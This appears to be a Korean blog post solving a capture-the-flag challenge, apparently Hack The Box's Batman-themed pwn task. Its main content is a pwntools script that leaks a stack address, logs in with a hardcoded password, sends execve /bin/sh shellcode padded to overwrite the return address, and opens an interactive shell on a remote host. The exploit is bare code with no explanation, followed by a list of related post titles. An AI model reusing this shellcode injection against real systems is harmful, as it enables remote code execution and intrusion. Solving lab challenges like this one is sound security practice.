728x90
from pwn import *
p = remote("159.65.17.93", 32640)
print(p.recvuntil(">"))
p.sendline("1")
leak = p.recvline()
leak = leak.strip("It was very hard, but Alfred managed to locate him: ")
shellcode_addr = int(leak, 16)
print(p.recvuntil(">"))
p.sendline("2")
p.recvuntil("password:")
p.sendline("b4tp@$$w0rd!")
print(p.recvuntil("commands: "))
shellcode = ""
shellcode += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
shellcode += "0"*(84-len(shellcode))
shellcode += p64(shellcode_addr)
p.sendline(shellcode)
print(p.recvuntil(">"))
p.sendline("3")
p.interactive()
728x90
'호그와트' 카테고리의 다른 글
Hack the box Optimistic (0) | 2022.12.13 |
---|---|
어려운 해킹을 단박에 잘하는 방법 (0) | 2022.12.12 |
옹야잉 배트맨 해킹 (0) | 2022.12.10 |
쌈에다가 제육볶음 얹어서 해킹하기 (0) | 2022.12.09 |
아주 아름다운 해킹기술 (0) | 2022.12.07 |